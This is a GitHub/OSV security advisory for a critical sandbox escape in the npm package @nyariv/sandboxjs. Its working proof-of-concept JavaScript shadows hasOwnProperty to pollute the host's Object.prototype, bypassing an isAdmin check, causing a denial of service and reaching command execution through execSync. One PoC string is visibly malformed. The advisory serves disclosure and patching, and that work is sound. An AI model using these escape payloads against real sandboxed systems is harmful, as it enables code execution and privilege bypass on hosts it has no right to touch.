GHSA-jjpw-65fv-8g48

Suggest an improvement
Source
https://github.com/advisories/GHSA-jjpw-65fv-8g48
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-jjpw-65fv-8g48/GHSA-jjpw-65fv-8g48.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jjpw-65fv-8g48
Aliases
Published
2026-02-05T21:04:58Z
Modified
2026-02-06T22:20:14Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Details

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
image image image

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}
image

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
image

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);
image

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}
image

RCE via host gadget (prototype pollution -> execSync)

image
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1
Database specific
{
    "cwe_ids": [
        "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:04:58Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / @nyariv/sandboxjs

Package

Name
@nyariv/sandboxjs
View open source insights on deps.dev
Purl
pkg:npm/%40nyariv/sandboxjs

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.8.29

Database specific

last_known_affected_version_range
"<= 0.8.28"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-jjpw-65fv-8g48/GHSA-jjpw-65fv-8g48.json"